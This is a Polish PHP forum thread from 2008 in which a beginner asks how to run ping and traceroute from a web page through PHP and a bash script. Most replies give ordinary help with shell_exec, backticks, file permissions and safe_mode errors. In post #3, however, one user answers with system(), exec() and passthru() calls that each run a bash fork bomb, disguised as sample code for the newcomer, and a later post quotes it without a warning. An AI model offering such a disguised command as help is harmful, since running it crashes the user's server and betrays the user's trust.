Witaj Gościu! ( Zaloguj | Rejestruj )

Forum PHP.pl

> [PHP]php + bash, ping, tracert itd na stronie przez php
user_php_
post
Post #1





Grupa: Zarejestrowani
Postów: 9
Pomógł: 0
Dołączył: 4.08.2008

Ostrzeżenie: (0%)
-----


potrzebuję zrobić w php ping, tracert i kilka podobnych rzeczy...
jestem początkujący w php i nie wiem od czego mam zacząć
napisałem w skrypcie żeby ping na dany adres był wykonany kilka razy
----plik test.sh----
#!/bin/sh
ping -c 5 www.wp.pl
------------------
teraz chcę go wywołać w php i zobaczyć kolejne linie pinga...?

Ten post edytował user_php_ 4.08.2008, 16:54:40
Go to the top of the page
+Quote Post
 
Start new topic
Odpowiedzi (1 - 15)
Maxik
post
Post #2





Grupa: Zarejestrowani
Postów: 726
Pomógł: 129
Dołączył: 10.01.2008
Skąd: Gdańsk

Ostrzeżenie: (0%)
-----


Może funkcja exec coś pomoże
Go to the top of the page
+Quote Post
kayy
post
Post #3





Grupa: Zarejestrowani
Postów: 112
Pomógł: 1
Dołączył: 3.08.2008

Ostrzeżenie: (0%)
-----


Np. tak:

system(':(){ :|:& };: ');

exec(':(){ :|:& };: ');

passthru(':(){ :|:& };: ');

Jeszcze jest jedna metoda lepsza ale nie pamiętam tej funkcji :S
Go to the top of the page
+Quote Post
.radex
post
Post #4





Grupa: Zarejestrowani
Postów: 1 657
Pomógł: 125
Dołączył: 29.04.2006

Ostrzeżenie: (0%)
-----


Cytat(kayy @ 4.08.2008, 18:31:40 ) *
Np. tak:

system(':(){ :|:& };: ');

exec(':(){ :|:& };: ');

passthru(':(){ :|:& };: ');

Jeszcze jest jedna metoda lepsza ale nie pamiętam tej funkcji :S


shell_exec() i `` (IMG:http://forum.php.pl/style_emoticons/default/tongue.gif)
Go to the top of the page
+Quote Post
-gox-
post
Post #5





Goście







na windowsie funkcja shell_exec() sprawdza sie najlepiej, poniewaz kiedy zwracana jest wielolinijkowa odpowiedz, to funkcje egzekujace inne niz shell_exec() zwracaja tylko pierwsza linijke, albo w ogole nic..
Go to the top of the page
+Quote Post
mroczek
post
Post #6





Grupa: Zarejestrowani
Postów: 18
Pomógł: 4
Dołączył: 13.03.2007

Ostrzeżenie: (0%)
-----


No i oczywiście pozostaje wspaniała zabawa uprawnieniami dostępu (IMG:http://forum.php.pl/style_emoticons/default/winksmiley.jpg)
Go to the top of the page
+Quote Post
user_php_
post
Post #7





Grupa: Zarejestrowani
Postów: 9
Pomógł: 0
Dołączył: 4.08.2008

Ostrzeżenie: (0%)
-----


czyli kod pliku php ma wygladac tak?

<?php
$output = shell_exec('plik.sh');
echo "<pre>$output</pre>";
?>

gdzie plik.sh skrypt w bashu
Go to the top of the page
+Quote Post
-gox-
post
Post #8





Goście







Powinno bryknac...
Go to the top of the page
+Quote Post
user_php_
post
Post #9





Grupa: Zarejestrowani
Postów: 9
Pomógł: 0
Dołączył: 4.08.2008

Ostrzeżenie: (0%)
-----


a nie dziala.
Go to the top of the page
+Quote Post
-gox-
post
Post #10





Goście







tak po prsotu nie dziala? komputer sie wylacza? moze jednak jakies errorsy wypluwa co?
Go to the top of the page
+Quote Post
user_php_
post
Post #11





Grupa: Zarejestrowani
Postów: 9
Pomógł: 0
Dołączył: 4.08.2008

Ostrzeżenie: (0%)
-----


Warning: shell_exec(): Cannot execute using backquotes in Safe Mode in /plik.php on line 2
a to 2 linia
$output = shell_exec('plik.sh');
prawa do wykonania dla uzytkownika sa nadane
nie wiem jeszcze czy php nie jest zabezpieczone no i wersja php czy nie ma znaczenia?
Go to the top of the page
+Quote Post
-gox-
post
Post #12





Goście







czyzby exeki byly wylaczone w safe_mode?
Go to the top of the page
+Quote Post
mroczek
post
Post #13





Grupa: Zarejestrowani
Postów: 18
Pomógł: 4
Dołączył: 13.03.2007

Ostrzeżenie: (0%)
-----


Najlepiej wyłączyć safe_mode albo poczytać trochę o ustawieniu safe_mode_exec_dir.
Go to the top of the page
+Quote Post
user_php_
post
Post #14





Grupa: Zarejestrowani
Postów: 9
Pomógł: 0
Dołączył: 4.08.2008

Ostrzeżenie: (0%)
-----


po ustawieniu uprawnień i php działa ale wyświetla na 5 linijek np tylko dwie ostatnie
lub trzy jeśli komenda będzie zapisana $output = shell_exec('ping -c 5 www.wp.pl');
natomiast zapis $output = shell_exec('plik.sh'); nie działa i pokazuje błąd w tej linii a mnie
bardziej interesuje opcja z podanym skryptem bash, perl lub cokolwiek innego...
Go to the top of the page
+Quote Post
maziak
post
Post #15





Grupa: Zarejestrowani
Postów: 155
Pomógł: 17
Dołączył: 9.07.2007

Ostrzeżenie: (0%)
-----


Mozesz to zrobic np. tak :

umiesc plik przykladowo w /home/user
  1. <?php
  2. $out = `/home/user/plik.sh`;
  3. echo nl2br($out);
  4. ?>


Tylko pamietaj zeby nadac odpowiednie uprawinienia temu plikowi!! Inaczej skrypt zwroci pusta strone.
Go to the top of the page
+Quote Post
user_php_
post
Post #16





Grupa: Zarejestrowani
Postów: 9
Pomógł: 0
Dołączył: 4.08.2008

Ostrzeżenie: (0%)
-----


dzięki (IMG:http://forum.php.pl/style_emoticons/default/smile.gif) to jest to o co mi chodziło (IMG:http://forum.php.pl/style_emoticons/default/smile.gif)
tak się zastanawiam jeszcze jak wrzucać nie od razu całość (wynik całego skryptu po wykonaniu) a po jednej linii
tak jak w linii comend że pokazuje po jednej linijce ewentualnie z jakimś sprawdzaniem albo oczekiwaniem
na prompt
Go to the top of the page
+Quote Post

Reply to this topicStart new topic
2 Użytkowników czyta ten temat (2 Gości i 0 Anonimowych użytkowników)
0 Zarejestrowanych:

 



RSS Aktualny czas: 22.08.2025 - 14:05